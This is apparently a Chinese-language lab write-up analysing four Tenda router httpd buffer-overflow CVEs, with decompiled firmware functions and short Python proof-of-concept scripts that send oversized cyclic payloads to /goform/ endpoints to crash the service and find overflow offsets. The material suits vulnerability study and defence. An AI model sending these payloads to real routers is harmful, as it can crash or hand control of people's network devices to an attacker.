CVE-2020-13394

漏洞介绍

项目 内容
CVE编号 CVE-2020-13394
漏洞名称 Tenda多款产品httpd服务缓冲区溢出漏洞
漏洞类型 缓冲区溢出 (CWE-120: Buffer Copy without Checking Size of Input)
CVSS v3.1评分 9.8 (严重)
攻击向量 网络 (AV:N)
权限要求
影响范围 多款Tenda路由器设备,包括: - AC6 V1.0 (固件 V15.03.05.19_multi_TD01) - AC9 V1.0 (固件 V15.03.05.19(6318)CN) - AC9 V3.0 (固件 V15.03.06.42_multi) - AC15 V1.0 (固件 V15.03.05.19_multi_TD01) - AC18 (固件 V15.03.05.19(6318)_CN)
漏洞描述 路由器的httpd服务在处理对/goform/SetNetControlList URL的POST请求时,未能检查list参数的长度。程序使用strcpy函数将该参数值直接复制到栈上的局部变量中,导致栈缓冲区溢出。
利用后果 攻击者可以构建特制的payload,造成服务崩溃或实现任意代码执行,从而完全控制设备。
披露日期 2020年5月22日
补丁情况 暂无官方补丁信息 (N/A)

漏洞函数

直接看IDA,说是在SetNetControlList函数,直接定位cgi接口函数

1777042472676

发现当url=/goform/SetNetControlList会执行formSetQosBand函数

formSetQosBand

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __fastcall formSetQosBand(int a1)
{
int v1; // r0
_DWORD s2[4]; // [sp+1Ch] [bp-68h] BYREF
char v5[32]; // [sp+2Ch] [bp-58h] BYREF
_DWORD s[8]; // [sp+4Ch] [bp-38h] BYREF
char v7; // [sp+6Fh] [bp-15h]
int v8; // [sp+70h] [bp-14h]
int v9; // [sp+74h] [bp-10h]

memset(s, 0, sizeof(s));
v9 = 0;
v8 = sub_2BA8C(a1, "list", &unk_E250C); #v8是list的参数
sub_7DD20(v8, "bandwidth.mode", 10); #被调用
memset(v5, 0, sizeof(v5));
GetValue("wl.guest.down_speed", v5);
memset(s2, 0, sizeof(s2));
if ( GetValue("cgi_debug", s2) && !strcmp("on", (const char *)s2) )
{
v7 = 1;
printf("%s[%s:%s:%d] %s", (const char *)off_100478, "cgi", "formSetQosBand", 3154, off_100470);
printf("%s == %s\n\x1B[0m", "wl.guest.down_speed", v5);
}
v1 = set_wl_guest_qos_list("128000", v5);
if ( CommitCfm(v1) )
doSystemCmd("cfm Post netctrl %d?op=%d", 15, 6);
else
v9 = 1;
sprintf((char *)s, "{\"errCode\":%d}", v9);
return sub_9CCBC(a1, s);
}

sub_7DD20(v8, "bandwidth.mode", 10):a1指向list参数,a2=bandwidth.mode,a3=10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
int __fastcall sub_7DD20(char *a1, int a2, unsigned __int8 a3)
{
void *v3; // r0
char v7[16]; // [sp+1Ch] [bp-810h] BYREF
char v8[16]; // [sp+2Ch] [bp-800h] BYREF
char v9[16]; // [sp+3Ch] [bp-7F0h] BYREF
char v10[16]; // [sp+4Ch] [bp-7E0h] BYREF
char v11[40]; // [sp+5Ch] [bp-7D0h] BYREF
_BYTE v12[256]; // [sp+84h] [bp-7A8h] BYREF
char v13[16]; // [sp+184h] [bp-6A8h] BYREF
char v14[1040]; // [sp+194h] [bp-698h] BYREF
_BYTE v15[32]; // [sp+5A4h] [bp-288h] BYREF
int v16; // [sp+5C4h] [bp-268h] BYREF
int v17; // [sp+5C8h] [bp-264h]
char dest[580]; // [sp+5CCh] [bp-260h] BYREF
char *v19; // [sp+810h] [bp-1Ch]
int v20; // [sp+814h] [bp-18h]
int v21; // [sp+818h] [bp-14h]
char *src; // [sp+81Ch] [bp-10h]

memset(dest, 0, 576);
v16 = 0;
v17 = 0;
memset(v15, 0, sizeof(v15));
memset(v14, 0, sizeof(v14));
memset(v13, 0, sizeof(v13));
v3 = memset(v12, 0, sizeof(v12));
v21 = 0;
v20 = 0;
sub_7DB3C(v3);
src = a1;
while ( 1 )
{
v19 = strchr(src, a3);
if ( !v19 )
break;
v20 = 0;
*v19++ = 0;
memset(dest, 0, 0x100u);
strcpy(dest, src);
if ( dest[0] == 59 )
{
sscanf(dest, ";%[^;];%[^;];%[^;];%[^;];", &v16, v15, v13, v14);
}
else
{
sscanf(dest, "%[^\r]\r%[^\r]\r%[^\r]\r%s", v12, v15, v13, v14);
v20 = 1;
}
if ( atoi(v13) || atoi(v14) )
{
if ( v20 == 1 )
sub_C6D58(v12, v15);
sub_7DC74(1, v15, v13, v14);
src = v19;
if ( ++v21 > 29 )
break;
}
else
{
src = v19;
}
}
if ( v21 == 30 )
{
memset(v10, 0, sizeof(v10));
if ( GetValue("cgi_debug", v10) && !strcmp("on", v10) )
{
dest[579] = 2;
printf("%s[%s:%s:%d] %s", off_100D7C[0], "cgi", "setQosMiblist", 414, off_100D78[0]);
printf("qos rule spports only 30 iterms!\n\x1B[0m");
}
}
else
{
v20 = 0;
memset(dest, 0, 0x100u);
strcpy(dest, src);
if ( dest[0] == 59 )
{
sscanf(dest, ";%[^;];%[^;];%[^;];%[^;];", &v16, v15, v13, v14);
}
else
{
sscanf(dest, "%[^\r]\r%[^\r]\r%[^\r]\r%s", v12, v15, v13, v14);
v20 = 1;
}
if ( atoi(v13) || atoi(v14) )
{
if ( v20 == 1 )
sub_C6D58(v12, v15);
sub_7DC74(1, v15, v13, v14);
++v21;
}
}
memset(v11, 0, 32);
GetValue("wl.guest.dhcps_enable", v11);
memset(v9, 0, sizeof(v9));
if ( GetValue("cgi_debug", v9) && !strcmp("on", v9) )
{
dest[578] = 1;
printf("%s[%s:%s:%d] %s", off_100D7C[0], "cgi", "setQosMiblist", 421, off_100D74[0]);
printf("qos rule num == %d, %s == %s\n\x1B[0m", v21, "wl.guest.dhcps_enable", v11);
}
if ( v21 || strcmp("0", v11) )
{
memset(v7, 0, sizeof(v7));
if ( GetValue("cgi_debug", v7) && !strcmp("on", v7) )
{
dest[576] = 1;
printf("%s[%s:%s:%d] %s", off_100D7C[0], "cgi", "setQosMiblist", 429, off_100D74[0]);
printf("Need qos service, turn it on!\n\x1B[0m");
}
SetValue("adv.qos.en", "1");
}
else
{
memset(v8, 0, sizeof(v8));
if ( GetValue("cgi_debug", v8) && !strcmp("on", v8) )
{
dest[577] = 1;
printf("%s[%s:%s:%d] %s", off_100D7C[0], "cgi", "setQosMiblist", 424, off_100D74[0]);
printf("Do not need qos service, turn it off!\n\x1B[0m");
}
SetValue("adv.qos.en", "0");
}
return 0;
}

漏洞分析

很明显。可以发现漏洞是出现在sub_7d020strcpy函数,未进行长度检查从而造成溢出,所以关键是让函数执行到这里,往回看,首先是src,也就是a1(我们输入的内容)必须包含\n,不然无法继续while循环

1777042965737

测试

poc

1
2
3
4
5
6
7
from pwn import *
import requests
payload=cyclic(2000)
url = "http://192.168.29.129/goform/SetNetControlList"
cookie = {"password": "12345"}
data = {"list": b"\n" + payload}
response = requests.post(url, cookies=cookie, data=data, timeout=3)

成功了

1777043698506

同时我们可以得到溢出长度1960

然后就可以获取root权限了

CVE-2020-13392

漏洞介绍

项目 内容
漏洞名称 多款Tenda产品缓冲区错误漏洞
厂商 腾达(Tenda)
CNNVD编号 CNNVD-202005-1142
CVE编号 CVE-2020-13392
危害等级 超危(CVSS v3.1:9.8 / Critical)
漏洞类型 缓冲区错误(CWE-120:未进行输入大小检查的缓冲区拷贝)
收录时间 2020-05-22
更新时间 2020-05-28
漏洞根源 路由器Web服务器httpd中,处理/goform/setcfm URL的funcpara1 POST参数时,使用sprintf直接将参数值写入栈上局部变量,未做边界检查,导致可覆盖函数返回地址,从而实现任意代码执行或服务崩溃

漏洞函数

看cgi函数可以得到方位这个url会执行formSetCfm

1777044602860

formSetCfm:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
int __fastcall formSetCfm(int a1)
{
_BYTE v3[16]; // [sp+14h] [bp-398h] BYREF
_BYTE v4[16]; // [sp+24h] [bp-388h] BYREF
_DWORD v5[40]; // [sp+34h] [bp-378h] BYREF
_DWORD dest[41]; // [sp+D4h] [bp-2D8h] BYREF
char v7[256]; // [sp+178h] [bp-234h] BYREF
char s[256]; // [sp+278h] [bp-134h] BYREF
char *v9; // [sp+378h] [bp-34h]
char *s1; // [sp+37Ch] [bp-30h]
char *nptr; // [sp+380h] [bp-2Ch]
int v12; // [sp+384h] [bp-28h]
void *v13; // [sp+388h] [bp-24h]
void *v14; // [sp+38Ch] [bp-20h]
char *v15; // [sp+390h] [bp-1Ch]
const char *v16; // [sp+394h] [bp-18h]
const char *v17; // [sp+398h] [bp-14h]
int i; // [sp+39Ch] [bp-10h]

memset(s, 0, sizeof(s));
memset(v7, 0, sizeof(v7));
v17 = 0;
v16 = 0;
v15 = 0;
v14 = 0;
v13 = 0;
i = 0;
v12 = 38;
memcpy(dest, off_FF084, sizeof(dest));
memcpy(v5, &unk_E01D8, sizeof(v5));
nptr = (char *)sub_2BA8C(a1, (int)"save", (int)"0");
do
{
sprintf(s, "name%d", i);
v16 = (const char *)sub_2BA8C(a1, (int)s, (int)&unk_DFA30);
if ( !*v16 )
break;
sprintf(v7, "value%d", i);
v17 = (const char *)sub_2BA8C(a1, (int)v7, (int)&unk_DFA30);
printf("name:%s\tvalue:%s\n", v16, v17);
SetValue(v16, v17);
++i;
}
while ( i <= 20 );
s1 = (char *)sub_2BA8C(a1, (int)"msgname", (int)&unk_DFA30);
v9 = (char *)sub_2BA8C(a1, (int)"msgtype", (int)&unk_DFA30);
if ( *s1 && *v9 && !strcmp(s1, "PostMsgToNetctrl") )
{
puts("in compare");
for ( i = 0; i < v12; ++i )
{
if ( !strcmp(v9, (const char *)dest[i]) )
{
PostMsgToNetctrl(v5[i]);
printf("PostName:%s\tType:%s\n", s1, (const char *)dest[i]);
break;
}
}
}
v15 = (char *)sub_2BA8C(a1, (int)"funcname", (int)&unk_DFA30);
if ( *v15 )
{
if ( !strcmp(v15, "save_list_data") )
{
v14 = sub_2BA8C(a1, (int)"funcpara1", (int)&unk_DFA30);
v13 = sub_2BA8C(a1, (int)"funcpara2", (int)&unk_DFA30);
sub_4EC58(v14, v13, 126);
}
else if ( !strcmp(v15, "LoadDhcpService") )
{
sub_3A30C();
}
else if ( !strcmp(v15, "changelanip") )
{
GetValue("lan.ip", v4);
GetValue("lan.mask", v3);
v14 = sub_2BA8C(a1, (int)"funcpara1", (int)&unk_DFA30);
v13 = sub_2BA8C(a1, (int)"funcpara2", (int)&unk_DFA30);
changelanip(v14, v13, v4, v3);
}
}
if ( atoi(nptr) == 1 )
CommitCfm(1);
printf("save:%s\tMsgName:%s\tMsgType:%s\n", nptr, s1, v9);
return sub_2C40C(a1, "ok");
}

sub_4EC58:a1指向funcpara1,a2指向funcpara2,a3=126

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int __fastcall sub_4EC58(const char *a1, char *a2, unsigned __int8 a3)
{
int result; // r0
char v7[8]; // [sp+14h] [bp-160h] BYREF
_BYTE v8[256]; // [sp+1Ch] [bp-158h] BYREF
char s[64]; // [sp+11Ch] [bp-58h] BYREF
char *v10; // [sp+15Ch] [bp-18h]
int v11; // [sp+160h] [bp-14h]
char *v12; // [sp+164h] [bp-10h]

memset(s, 0, sizeof(s));
memset(v8, 0, sizeof(v8));
v11 = 0;
if ( strlen(a2) > 4 )
{
++v11;
v12 = a2;
while ( 1 )
{
v10 = strchr(v12, a3);
if ( !v10 )
break;
*v10++ = 0;
memset(s, 0, sizeof(s));
sprintf(s, "%s.list%d", a1, v11);
SetValue(s, v12);
v12 = v10;
++v11;
}
memset(s, 0, sizeof(s));
sprintf(s, "%s.list%d", a1, v11);
SetValue(s, v12);
sprintf(v7, "%d", v11);
sprintf(s, "%s.listnum", a1);
SetValue(s, v7);
memset(s, 0, sizeof(s));
sprintf(s, "%s.list%d", a1, ++v11);
result = GetValue(s, v8);
while ( v8[0] )
{
UnSetValue(s);
memset(s, 0, sizeof(s));
memset(v8, 0, sizeof(v8));
sprintf(s, "%s.list%d", a1, ++v11);
result = GetValue(s, v8);
}
}
else
{
memset(s, 0, sizeof(s));
sprintf(s, "%s.listnum", a1);
SetValue(s, "0");
memset(s, 0, sizeof(s));
memset(v8, 0, sizeof(v8));
sprintf(s, "%s.list%d", a1, ++v11);
result = GetValue(s, v8);
while ( v8[0] )
{
UnSetValue(s);
memset(s, 0, sizeof(s));
memset(v8, 0, sizeof(v8));
sprintf(s, "%s.list%d", a1, ++v11);
result = GetValue(s, v8);
}
}
return result;
}

漏洞分析

1777045255257

简单地说,就是sub_4ec58()函数中sprintf函数,首先是要让程序进入这个函数,要求就是v5=save_list_data,然后就是满足strlen(a2)>4,a2是funcpara2的参数,第一个printf函数触发是要满足a2中有个~,而第二个就是正常溢出就好了

poc

第一个sprintf

1
2
3
4
5
6
7
from pwn import *
import requests
payload=cyclic(2000)
url = "http://192.168.29.129/goform/setcfm"
cookie = {"password": "12345"}
data = {"funcpara1":payload,"funcpara2":b'~'+b'aaaaaaaaa',"funcname":b"save_list_data"}
response = requests.post(url, cookies=cookie, data=data, timeout=3)

成功

1777045824645

第二个sprintf

1
2
3
4
5
6
7
from pwn import *
import requests
payload=cyclic(2000)
url = "http://192.168.29.129/goform/setcfm"
cookie = {"password": "12345"}
data = {"funcpara1":payload,"funcpara2":b'aaaaaaaaa',"funcname":b"save_list_data"}
response = requests.post(url, cookies=cookie, data=data, timeout=3)

成功,同时得到偏移是84

1777045949120

这里要说明一下,第一个连接到gdb上会出现错误,无法出现第二个poc的结果,可能是因为在while循环内数据覆盖了某个数值的原因

CVE-2020-13391

漏洞介绍

项目 内容
CVE编号 CVE-2020-13391
CNNVD编号 CNNVD-202005-1141
CNVD编号 CNVD-2020-31397
漏洞名称 多款Tenda产品缓冲区错误漏洞
危害等级 超危 / 严重
CVSS v3.1评分 9.8 (Critical)
漏洞类型 CWE-120: 未进行输入大小检查的缓冲区拷贝(传统缓冲区溢出)
披露时间 2020-05-22
补丁状态 暂无官方补丁
漏洞根源 路由器Web服务器httpd在处理对/goform/SetSpeedWan URL的POST请求时,对参数speed_dir的处理不安全:程序直接使用sprintf函数将用户输入的speed_dir值写入栈上固定大小的局部缓冲区,未进行任何边界检查。当攻击者构造超长的speed_dir参数时,数据会溢出缓冲区并覆盖函数的返回地址,导致函数返回时跳转到攻击者控制的地址,从而实现任意代码执行或服务崩溃。

漏洞函数

cgi函数查找,可知访问/goform/SetSpeedWan会执行formSetSpeedWan

formSetSpeedWan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int __fastcall formSetSpeedWan(int a1)
{
_DWORD nptr[8]; // [sp+10h] [bp-5Ch] BYREF
_DWORD s[8]; // [sp+30h] [bp-3Ch] BYREF
void *v5; // [sp+50h] [bp-1Ch]
char *v6; // [sp+54h] [bp-18h]
char *v7; // [sp+58h] [bp-14h]
int v8; // [sp+5Ch] [bp-10h]

memset(s, 0, sizeof(s));
memset(nptr, 0, sizeof(nptr));
v8 = 0;
v7 = (char *)sub_2BA8C(a1, (int)"speed_dir", (int)"0");
v6 = (char *)sub_2BA8C(a1, (int)"ucloud_enable", (int)"0");
v5 = sub_2BA8C(a1, (int)"password", (int)"0");
GetValue("speedtest.flag", nptr);
if ( atoi((const char *)nptr) )
{
v8 = 1;
}
else
{
SetValue("speedtest.flag", "1");
if ( atoi(v7) )
{
if ( !atoi(v6) )
{
SetValue("ucloud.en", "1");
SetValue("ucloud.syncserver", "1");
SetValue("ucloud.password", v5);
SetValue("qos.ucloud.flag", "1");
doSystemCmd("cfm Post ucloud 0");
}
SetValue("speedtest.ret", "2");
doSystemCmd("/bin/speedtest %d %d &", 1, 1);
}
else
{
SetValue("speedtest.ret", "4");
doSystemCmd("cfm Post ucloud 5");
}
}
sprintf((char *)s, "{\"errCode\":%d,\"speed_dir\":%s}", v8, v7);
return sub_9CCBC(a1, s);
}

漏洞分析

很明显漏洞时出现在 sprintf((char *)s, "{\"errCode\":%d,\"speed_dir\":%s}", v8, v7);,这个函数的意思是将 {"errCode":0,"speed_dir":"用户输入的内容"} 赋值给s,没有检查长度

所以就是怎么执行到那里,发现没有任何条件

poc

1
2
3
4
5
6
7
from pwn import *
import requests
payload=cyclic(2000)
url = "http://192.168.29.129/goform/SetSpeedWan"
cookie = {"password": "12345"}
data = {"speed_dir":payload}
response = requests.post(url, cookies=cookie, data=data, timeout=3)

CVE-2020-13390

漏洞介绍

项目 内容
CVE编号 CVE-2020-13390
CNNVD编号 CNNVD-202005-1140
CNVD编号 CNVD-2020-31387
漏洞名称 多款Tenda产品缓冲区错误漏洞
危害等级 超危 / 严重
CVSS v3.1评分 9.8 (Critical)
漏洞类型 CWE-120: 未进行输入大小检查的缓冲区拷贝(传统缓冲区溢出)
披露时间 2020-05-22
补丁状态 暂无官方补丁
漏洞根源 路由器Web服务器httpd在处理对/goform/addressNat URL的POST请求时,对参数entrysmitInterface的处理不安全:程序直接使用sprintf函数将用户输入的参数值写入栈上固定大小的局部缓冲区,未进行任何边界检查。当攻击者构造超长的参数时,数据会溢出缓冲区并覆盖函数的返回地址,导致函数返回时跳转到攻击者控制的地址,从而实现任意代码执行或服务崩溃。

漏洞函数

寻找cgi处理函数发现访问url会执行fromAddressNat函数

fromAddressNat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __fastcall fromAddressNat(int a1)
{
int v1; // r0
char v4[256]; // [sp+14h] [bp-418h] BYREF
char s[512]; // [sp+114h] [bp-318h] BYREF
char v6[256]; // [sp+314h] [bp-118h] BYREF
const char *v7; // [sp+414h] [bp-18h]
const char *v8; // [sp+418h] [bp-14h]
const char *v9; // [sp+41Ch] [bp-10h]

memset(v4, 0, sizeof(v4));
v9 = (const char *)sub_2BA8C(a1, "entrys", &unk_E5D48);
v8 = (const char *)sub_2BA8C(a1, "mitInterface", &unk_E5D48);
sprintf(s, "%s;%s", v9, v8);
sub_4EC58("adv.addrnat", s, 126);
v7 = (const char *)sub_2BA8C(a1, "page", "1");
v1 = sprintf(v6, "advance/addressNatList.asp?page=%s", v7);
if ( CommitCfm(v1) )
{
sprintf(v4, "advance_type=%d", 7);
send_msg_to_netctrl(5, v4);
}
return sub_2BE4C(a1, v6);
}

漏洞分析

函数直接使用sprint,未进行长度检查

1777078647417

poc

第一个sprintf

1
2
3
4
5
6
7
from pwn import *
import requests
payload=cyclic(2000)
url = "http://192.168.29.129/goform/addressNat"
cookie = {"password": "12345"}
data = {"entrys":payload,"mitInterface":b'a'}
response = requests.post(url, cookies=cookie, data=data, timeout=3)

成功了

第二个sprintf

1
2
3
4
5
6
7
from pwn import *
import requests
payload=cyclic(2000)
url = "http://192.168.29.129/goform/addressNat"
cookie = {"password": "12345"}
data = {"entrys":b'a',"mitInterface":b'a',"page":payload}
response = requests.post(url, cookies=cookie, data=data, timeout=3)